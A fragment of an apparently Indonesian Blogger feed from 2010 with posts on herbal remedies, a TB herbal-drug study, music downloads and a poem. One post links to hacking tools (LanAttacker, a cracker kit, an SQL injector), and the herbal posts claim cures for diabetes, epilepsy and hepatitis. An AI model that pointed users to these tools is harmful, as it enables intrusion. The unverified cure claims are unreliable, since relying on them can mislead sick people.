href='http://www.blogger.com/feeds/475282690325446417/posts/default/6293573159605032965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6293573159605032965'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/alam-gaib-dari-tinjauan-fisika.html' title='alam gaib dari tinjauan Fisika'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-3624727670677121397</id><published>2010-11-22T11:15:00.001+07:00</published><updated>2010-11-22T11:15:48.050+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='herbal dan rempah'/><title type='text'>manfaat daun pegagan</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_lcn1O_24jBE/TOnuWiulQZI/AAAAAAAAAR0/sU07T4Z_xuI/s1600/pegagan.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_lcn1O_24jBE/TOnuWiulQZI/AAAAAAAAAR0/sU07T4Z_xuI/s1600/pegagan.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;DAUN KAKI KUDA / Pegagan&lt;br /&gt;&lt;br /&gt;Nama latin: Centella asiatica Urb&lt;br /&gt;&lt;br /&gt;Nama daerah: Pegagan; Gagain; Pegaga; Penggaga; Ganggagan; Bagigan; Kerok; Calingan.&lt;br /&gt;&lt;br /&gt;Deskripsi tanaman: Tanaman penutup tanah, termasuk tumbuhan herba dengan batang horizontal, setiap ruas keluar akar dan menjalar ditanah. Daun berbentuk ginjal, bergerigi, dan pada pangkal berbentuk pelepah. Bentuk bunga panjang berkelopak 2-3, berhadapan dengan daun. Perbanyakan dengan tunas akar.&lt;span class="fullpost"&gt;   DAUN KAKI KUDA / Pegagan&lt;br /&gt;&lt;br /&gt;Nama latin: Centella asiatica Urb&lt;br /&gt;&lt;br /&gt;Nama daerah: Pegagan; Gagain; Pegaga; Penggaga; Ganggagan; Bagigan; Kerok; Calingan.&lt;br /&gt;&lt;br /&gt;Deskripsi tanaman: Tanaman penutup tanah, termasuk tumbuhan herba dengan batang horizontal, setiap ruas keluar akar dan menjalar ditanah. Daun berbentuk ginjal, bergerigi, dan pada pangkal berbentuk pelepah. Bentuk bunga panjang berkelopak 2-3, berhadapan dengan daun. Perbanyakan dengan tunas akar.&lt;br /&gt;&lt;br /&gt;Habitat: Tumbuh liar ditanah yang agak lembab di daerah dengan ketinggian 1-2500 m dpl.&lt;br /&gt;&lt;br /&gt;Bagian tanaman yang digunakan: Seluruh bagian tumbuhan&lt;br /&gt;&lt;br /&gt;Kandungan kimia: Glikosida asitikosida; Velarin; Alkolisulfat; Damar; Tanin.&lt;br /&gt;&lt;br /&gt;Khasiat: Antipiretik; Diaforetik; Diuretik; Infeksi&lt;br /&gt;&lt;br /&gt;Nama simplesia: Centellae Herba&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Resep tradisional:&lt;br /&gt;&lt;br /&gt;Sakit maag dan Perut kembung:&lt;br /&gt;Pegagan 5 g; Pupus pepaya 1 g; Adas 7 g; Jinten 3 g; Kencur (diparut)5 g; Sembung legi 5 g; Daun pooh 6 g; Pulosari 5 g; Ketumbar 2 g; Falerian 10 g; Air 500 ml, Semua bahan direbus, Diminum untuk 1 hari.&lt;br /&gt;&lt;br /&gt;Demam dan Menambah nafsu makan:&lt;br /&gt;Herba pegagan 5 g; Air secukupnya, Diseduh, Diminum sebagai pengganti air teh.&lt;br /&gt;&lt;br /&gt;Asma dan Batuk:&lt;br /&gt;Herba pegagan segar 2 genggam; Air secukupnya, Dipipis, Diminum 1 kali sehari 1/4 cangkir; selama 14 hari.&lt;br /&gt;&lt;br /&gt;Sariawan usus dan Disentri:&lt;br /&gt;Herba pegagan segar 2 genggam; Rimpang kunyit segar 1 jari; Rasuk angin (serbuk)1 sendok teh; Ketumbar 9 butir; Air 110 ml, Ditumbuk; Tambahkan air; Disaring; Dididihkan, Diminum 1 kali sehari 100 ml; selama 7 hari.&lt;br /&gt;&lt;br /&gt;Wasir:&lt;br /&gt;Herba pegagan segar 2 genggam; Daun wungu 7 helai; air 110 ml, Ditumbuk; tambahkan air; disaring dan dididihkan, Diminum 1 kali sehari 100 ml; selama 30 hari.     &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-3624727670677121397?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3624727670677121397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3624727670677121397'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/manfaat-daun-pegagan.html' title='manfaat daun pegagan'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_lcn1O_24jBE/TOnuWiulQZI/AAAAAAAAAR0/sU07T4Z_xuI/s72-c/pegagan.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-536767036710914053</id><published>2010-11-22T11:13:00.000+07:00</published><updated>2010-11-22T11:13:14.017+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='herbal dan rempah'/><title type='text'>manfaat daun sendok</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lcn1O_24jBE/TOntrUULo_I/AAAAAAAAARw/N7Msp9JncfI/s1600/daunsendok.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="http://3.bp.blogspot.com/_lcn1O_24jBE/TOntrUULo_I/AAAAAAAAARw/N7Msp9JncfI/s320/daunsendok.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Nama latin: Plantago major L.&lt;br /&gt;&lt;br /&gt;Nama daerah: Daun urat; Ekor angin; Ekor menjangan; Ki urat; Ceuli uncal; Meloh kiloh; Otot-ototan; Sembung otot; Suri pandak; Sang koba; Terongoat&lt;br /&gt;&lt;br /&gt;Deskripsi tanaman: Tumbuhan terna tahunan, berkembang secara luar biasa dengan rimpang tegak, tinggi tanaman 60-80 cm.&lt;br /&gt;&lt;br /&gt;Habitat: Tumbuh di tanah yang disinari matahari atau agak teduh, dipinggir-pinggir jalan berumput dan di lapangan rumput, di hutan atau tempat terbuka.&lt;br /&gt;&lt;span class="fullpost"&gt;  Nama latin: Plantago major L.&lt;br /&gt;&lt;br /&gt;Nama daerah: Daun urat; Ekor angin; Ekor menjangan; Ki urat; Ceuli uncal; Meloh kiloh; Otot-ototan; Sembung otot; Suri pandak; Sang koba; Terongoat&lt;br /&gt;&lt;br /&gt;Deskripsi tanaman: Tumbuhan terna tahunan, berkembang secara luar biasa dengan rimpang tegak, tinggi tanaman 60-80 cm.&lt;br /&gt;&lt;br /&gt;Habitat: Tumbuh di tanah yang disinari matahari atau agak teduh, dipinggir-pinggir jalan berumput dan di lapangan rumput, di hutan atau tempat terbuka.&lt;br /&gt;&lt;br /&gt;Bagian tanaman yang digunakan: Seluruh bagian tanaman&lt;br /&gt;&lt;br /&gt;Kandungan kimia: Lendir; Asam D-galakturonat; Pluntagon; ankobin(glikosid); Nivertin; Emulsin(enzim); Vitamin C; Alkaloida; Tanin; Minyak lemak&lt;br /&gt;&lt;br /&gt;Khasiat: Anti inflamasi; Diuretik; Antipiretik; Ekspektoran&lt;br /&gt;&lt;br /&gt;Nama simplesia: Plantaginis majoris herba&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Resep tradisional:&lt;br /&gt;&lt;br /&gt;Bisul:&lt;br /&gt;Seluruh tanaman daun sendok 3 tanaman; air 2 gelas, Campuran direbus sampai diperoleh 1 gelas; disaring, Diminum sehari 1 kali 1 gelas.&lt;br /&gt;&lt;br /&gt;Kudis:&lt;br /&gt;Daun sendok segar 7 lembar; Daun sambiloto segar 7 lembar; air 2 gelas, Campuran direbus hingga diperoleh 1 gelas; disaring, Diminum sehari 2 kali; 1 gelas.&lt;br /&gt;&lt;br /&gt;Batu ginjal:&lt;br /&gt;Herba daun sendok segar 7 g; Akar alang-alang 7 g; Daun keji beling segar 2 g; Herba kumis kucing segar 6 g; Herba meniran segar 2 g; Air 130 ml, Dibuat infus atau dipipis, Diminum 1 kali sehari 100 ml; apabila dibuat pipisan; diminum 1 kali sehari 1/4 cangkir; diulang selama 14 hari.&lt;br /&gt;&lt;br /&gt;Hepatitis dan Radang usus:&lt;br /&gt;Herba daun sendok segar 1 genggam; Rimpang temu lawak segar 7 keping; Air secukupnya, Rimpang temu lawak segar disangrai; kemudian dipipis bersama herba daun sendok, Diminum 1 kali sehari 1/4 cangkir; diulang selama 7 hari sampai 14 hari.&lt;br /&gt;&lt;br /&gt;Rematik:&lt;br /&gt;Herba daun sendok segar secukupnya; Air secukupnya, Dipipis hingga berbentuk pasta, Dioleskan pada bagian yang sakit; diperbaharui setiap 3 jam sekali.&lt;br /&gt;&lt;br /&gt;Wasir:&lt;br /&gt;Herba daun sendok segar 1 genggam; Daun wungu segar 7 helai; Air 100 ml, Dibuat infus atau diseduh, Diminum 1 kali sehari 100 ml; diulang selama 14 hari.      &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-536767036710914053?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/536767036710914053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/536767036710914053'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/manfaat-daun-sendok.html' title='manfaat daun sendok'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lcn1O_24jBE/TOntrUULo_I/AAAAAAAAARw/N7Msp9JncfI/s72-c/daunsendok.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-7451545617361135482</id><published>2010-11-22T11:08:00.002+07:00</published><updated>2010-11-22T11:08:50.897+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='herbal dan rempah'/><title type='text'>manfaat ciplukan</title><content type='html'>Merupakan tumbuhan semusim, biasanya ditempat yang tidak terlalu becek seperti pinggiran selokan, pinggir kebun dan lereng tebing sungai. Bisa tumbuh baik pada ketinggian 0 - 1800 m dpl.&lt;br /&gt;&lt;br /&gt;KLASIFIKASI - Ciplukan biasa disebut Physallis peruvianna L., atau Physallis angulata Linn atau Physallis minina Linn, termasuk famili tumbuhan Solanaceae. Tanaman ini dikenal dengan nama daerah Keceplokan, Nyornyoran atau Cecendet.&lt;br /&gt;&lt;span class="fullpost"&gt; CIPLUKAN&lt;br /&gt;&lt;br /&gt;Merupakan tumbuhan semusim, biasanya ditempat yang tidak terlalu becek seperti pinggiran selokan, pinggir kebun dan lereng tebing sungai. Bisa tumbuh baik pada ketinggian 0 - 1800 m dpl.&lt;br /&gt;&lt;br /&gt;KLASIFIKASI - Ciplukan biasa disebut Physallis peruvianna L., atau Physallis angulata Linn atau Physallis minina Linn, termasuk famili tumbuhan Solanaceae. Tanaman ini dikenal dengan nama daerah Keceplokan, Nyornyoran atau Cecendet.&lt;br /&gt;&lt;br /&gt;SIFAT KIMIAWI - Memiliki berbagai kandungan kimia, yang sudah diketahui a.l : Chlorogenik acid, C27H44O-H2O, Asam sitrun dan fisalin, Buah mengandung asam malat, alkaloid, tanin, kriptoxantin, vitamin C dan gula, sedangkan bijinya mengandung Claidic acid.&lt;br /&gt;&lt;br /&gt;EFEK FARMAKOLOGIS - Tumbuhan ini bersifat analgetik, peluruh air seni, menetralkan racun (detoxifies), meredakan batuk, mengaktifkan fungsi kelenjar tubuh. Dalam farmakologi Cina disebutkan tumbuhan ini memiliki rasa pahit dan sifat sejuk.&lt;br /&gt;&lt;br /&gt;BAGIAN TANAMAN YANG BERGUNA - Efek farmakologi ini diperoleh dari penggunaan akar, daun dan buah.&lt;br /&gt;&lt;br /&gt;Penyakit yang dapat disembuhkan dan cara penggunaannya.&lt;br /&gt;&lt;br /&gt;1. Influenza dan Sakit tenggorokan - Tanaman 9 - 15 gram direbus air secukupnya dan diminum airnya.&lt;br /&gt;2. Batuk Rejan (pertusis), Bronchitis, Gondongan - sama seperti pengobatan Influenza&lt;br /&gt;3. Bisul - Daun Ciplukan 1/2 genggam dicuci, digiling halus lalu diturapkan pada bisul dan sekelilingnya, dibalut dan diganti 2x sehari.&lt;br /&gt;4. Borok - sama seperti bisul, hanya ditambah air kapur sirih secukupnya.&lt;br /&gt;5. Kencing Manis - Tanaman direbus 3 gelas air menjadi 1 gelas, saring dan minum.&lt;br /&gt;6. Sakit paru-paru - Tanaman Ciplukan lengkap direbus dengan 3 - 5 gelas air mendidih, saring dan minum airnya 3 x sehari secangkir.&lt;br /&gt;7. Ayan - Buah Ciplukan 8 - 10 buah dimakan tiap hari.&lt;br /&gt;&lt;br /&gt;BUDI DAYA - Perbanyak tanaman dengan biji. Biji disemai kemudian tanaman muda dipindahkan ketempat penanaman. Pemeliharaan tanaman ini mudah, seperti tanaman lain dibutuhkan cukup air dengan penyiraman atau dengan menjaga kelembabab tanah. Disamping itu juga dibutuhkan pemupukan terutama pupuk dasar.       &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-7451545617361135482?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/7451545617361135482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/7451545617361135482'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/manfaat-ciplukan.html' title='manfaat ciplukan'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1545390741508932555</id><published>2010-11-22T10:54:00.000+07:00</published><updated>2010-11-22T10:54:13.454+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='herbal dan rempah'/><title type='text'></title><content type='html'>Penyakit TBC hampir setua peradaban manusia. Penyakit ini bahkan didapati pada mumi Mesir dan suku Inca, peradaban kuno di Benua Amerika ratusan tahun lalu. Anehnya, sampai kini upaya penanggulangan penyakit yang menyerang kulit, tulang, otak, serta -terutama- paru-paru di Indonesia belum membuahkan hasil memuaskan.&lt;span class="fullpost"&gt;   Penyakit TBC hampir setua peradaban manusia. Penyakit ini bahkan didapati pada mumi Mesir dan suku Inca, peradaban kuno di Benua Amerika ratusan tahun lalu. Anehnya, sampai kini upaya penanggulangan penyakit yang menyerang kulit, tulang, otak, serta -terutama- paru-paru di Indonesia belum membuahkan hasil memuaskan.&lt;br /&gt;&lt;br /&gt;Sejak 12 tahun lalu Organisasi Kesehatan Dunia (WHO) memasukkan Indonesia sebagai negara dengan penderita TBC nomor tiga terbesar di dunia, di bawah India dan Tiongkok. Peringkat itu tak berubah hingga sekarang.&lt;br /&gt;&lt;br /&gt;Ada banyak faktor mengapa TBC sulit diberantas. Misalnya, penyembuhannya menggunakan banyak obat dan memakan waktu lama. Belum lagi efek samping yang membuat penderita tak bisa bertahan menuntaskan pengobatannya. Naiknya angka penderita dan kasus TBC di Indonesia (termasuk dunia), akibat terjadinya resistensi mikroba penyebab TBC. Obat standar yang diberikan kepada penderita sudah tidak mempan lagi. Karena itu, terpikir untuk membuat obat baru dengan khasiat lebih baik dari bahan tumbuhan.&lt;br /&gt;&lt;br /&gt;Sudah lama buah mengkudu dan jahe itu mengandung khasiat. Masyarakat sudah lama memakainya untuk sakit batuk dan batuk berdarah. &lt;br /&gt;&lt;br /&gt;Pada penelitian yang dilakukan sejak 2006 sampai September 2007, awalnya ada 10 jenis tanaman yang diseleksi untuk diteliti dan diramu. Hasilnya, mengkudu dan jahe yang selama ini digunakan masyarakat untuk pengobatan batuk dan batuk berdarah dianggap sebagai "pasangan terbaik". Selain itu, terdapat berbagai kandungan zat pada mengkudu dan jahe. Misalnya, minyak atsiri. Tapi, khasiat obatnya tidak bisa diklaim berdasarkan satu komponen, melainkan harus digabungkan. Pernah dicoba dilakukan pemisahan setiap kandungan dengan menggunakan pelarut berbeda. Ternyata, khasiatnya tidak sebaik jika kandungan ini digabungkan.&lt;br /&gt;&lt;br /&gt;Proses pembuatan obat itu melalui empat tahap. Pertama, pemilihan tanaman atau bahan mengkudu dan jahe, dilanjutkan ekstraksi (penyarian bahan) dengan pelarut bernama etanol. Langkah ketiga, hasil ekstraksi diuapkan sampai kering. Terakhir, hasil ekstrasi itu dimasukkan ke kapsul menggunakan zat inert (zat yang tidak bereaksi).&lt;br /&gt;&lt;br /&gt;Setelah diramu, hasil penelitian itu dicobakan kepada 100 pasien di Balai Kesehatan Paru Masyarakat di Cibadak, Jawa Barat. Ternyata efektif mengobati.&lt;br /&gt;&lt;br /&gt;Obat dari bahan tumbuhan itu bisa mempercepat konversi pasien dengan BTA (bakteri tahan asam) positif (masih sakit) menjadi BTA negatif (pasien sembuh). Obat ini tentu sangat berbeda dan sangat jauh lebih baik khasiatnya.&lt;br /&gt;&lt;br /&gt;Ramuan campuran mengkudu dan jahe itu, sudah diajukan hak patennya pada 2006 ke Direktorat Paten Departemen Kehakiman melalui HAKI-ITB meski belum dinamai. &lt;br /&gt;&lt;br /&gt;Ramuan hasil penelitian yang disponsori Balai Besar (BB) Pengawasan Obat dan Makanan (POM) itu dapat diproduksi masal. Saat ini, sudah banyak investor yang menghubungi untuk memproduksi obat baru anti-TBC. Hanya, nama perusahaan farmasi itu masih dirahasiakan.** &lt;br /&gt;Prof Dr Elin Yulinah Sukandar, dosen Farmasi ITB    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1545390741508932555?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1545390741508932555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1545390741508932555'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/penyakit-tbc-hampir-setua-peradaban.html' title=''/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-6616891676872215959</id><published>2010-11-18T07:51:00.001+07:00</published><updated>2010-11-18T07:55:39.331+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='download freeware'/><title type='text'>kumpulan tool hack</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_lcn1O_24jBE/TOR5bRkpajI/AAAAAAAAARs/VhgPGM1TE3g/s1600/index.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_lcn1O_24jBE/TOR5bRkpajI/AAAAAAAAARs/VhgPGM1TE3g/s1600/index.jpeg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;       &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/F0jHlhQX/LanAttacker.html" target="_blank"&gt;LanAttacker.rar&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a _blank="" href="http://hotfile.com/dl/8360099/07ebc35/Firefox_Optimizer_WBB.rar.html%20target="&gt;MOZILLA OPTIMIZER&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hotfile.com/dl/42845140/2693c6b/Ultimate.krackers.Kit.v3.2.rar.html" target="_blank"&gt;hacker tool&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.2shared.com/file/St7wtN90/SQL_Injector_V2.html" target="_blank"&gt;injector&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-6616891676872215959?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6616891676872215959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6616891676872215959'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/kumpulan-freeware.html' title='kumpulan tool hack'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_lcn1O_24jBE/TOR5bRkpajI/AAAAAAAAARs/VhgPGM1TE3g/s72-c/index.jpeg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-6400933854255047973</id><published>2010-11-18T07:46:00.000+07:00</published><updated>2010-11-18T07:46:36.639+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='download mp3'/><title type='text'>kumpulan mp3 iwan fals</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_lcn1O_24jBE/TOR20EKZi2I/AAAAAAAAARg/6mJJSJdoR3U/s1600/index.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_lcn1O_24jBE/TOR20EKZi2I/AAAAAAAAARg/6mJJSJdoR3U/s1600/index.jpeg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lcn1O_24jBE/TOR27wYhqbI/AAAAAAAAARk/PUJhc0RTWng/s1600/fals2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_lcn1O_24jBE/TOR27wYhqbI/AAAAAAAAARk/PUJhc0RTWng/s1600/fals2.jpeg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_lcn1O_24jBE/TOR3BaIgM1I/AAAAAAAAARo/gXFRI8yICsA/s1600/fals.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_lcn1O_24jBE/TOR3BaIgM1I/AAAAAAAAARo/gXFRI8yICsA/s1600/fals.jpeg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;       &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/qXeTMBn4/Iwan_Fals_-_1981_-_Sarjana_Mud.html" target="_blank"&gt;iwan fals sarjana muda&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/kbTVN1Dy/Iwan_Fals_-_1988_-_Antara_Aku_.html" target="_blank"&gt;- Antara Aku Kau Dan Bekas Pacarmu&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/F5hBS4Oj/Iwan_Fals_-_1981_-_3_Bulan_mus.html" target="_blank"&gt;Iwan Fals - 1981 - 3 Bulan&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/hFNNGCPd/Iwan_Fals_Album_Keseimbangan_2.html" target="_blank"&gt;Iwan Fals Album Keseimbangan 2010&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/d4D9mBHX/Iwan_Fals_-_1985_-_Kelompok_Pe.html" target="_blank"&gt;- Kelompok Penyanyi Jalanan (KPJ)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/U4EPlpCX/Iwan_Fals_-_2002_-_Suara_Hati_.html" target="_blank"&gt;- Suara Hati&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/afBD6Ojn/Iwan_Fals_-_1979_-_Canda_Dalam.html" target="_blank"&gt;- Canda Dalam Nada&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/HWs6JVq3/Iwan_Fals_-_1980_-_Perjalanan_.html" target="_blank"&gt;- Perjalanan&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/UmNIUHkA/Iwan_Fals_-_2000_-_Best_Of_The.html" target="_blank"&gt;- Best Of The Bestr&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-6400933854255047973?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6400933854255047973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6400933854255047973'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/kumpulan-mp3-iwan-fals.html' title='kumpulan mp3 iwan fals'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_lcn1O_24jBE/TOR20EKZi2I/AAAAAAAAARg/6mJJSJdoR3U/s72-c/index.jpeg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-4251168865861395001</id><published>2010-11-16T06:44:00.001+07:00</published><updated>2010-11-16T08:24:41.992+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catatan'/><title type='text'>Maka Izinkanlah Aku Menangis,.....</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_lcn1O_24jBE/TOHdPO5ZcPI/AAAAAAAAARU/onpUY5g-rRQ/s1600/l_067381e437a0437ead5d80b99a0bfad2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://1.bp.blogspot.com/_lcn1O_24jBE/TOHdPO5ZcPI/AAAAAAAAARU/onpUY5g-rRQ/s320/l_067381e437a0437ead5d80b99a0bfad2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Tuhan, selamat malam..&lt;br /&gt;&lt;br /&gt;Di tengah keegoisanku, kali ini aku menghadap&lt;br /&gt;&lt;br /&gt;Aku ingin kita berbincang sejenak&lt;br /&gt;&lt;br /&gt;Ah, seharusnya aku tahu bahwa Kau seharusnya aku ajak bicara setiap saat&lt;br /&gt;&lt;br /&gt;Tidak hanya di kala aku sedang bodoh seperti ini..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Terkadang manusia begitu angkuhnya&lt;br /&gt;&lt;br /&gt;Merasa paling kuat dari beringin tua sekalipun&lt;br /&gt;&lt;br /&gt;Merasa tak akan lapuk dengan zaman&lt;br /&gt;&lt;br /&gt;Merasa kokoh dan maha ..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maka izinkanlah malam ini aku menangis..&lt;br /&gt;&lt;br /&gt;Menangis di tengah keterpurukanku..&lt;span class="fullpost"&gt;    &lt;br /&gt;&lt;br /&gt;Tuhan, selamat malam..&lt;br /&gt;&lt;br /&gt;Di tengah keegoisanku, kali ini aku 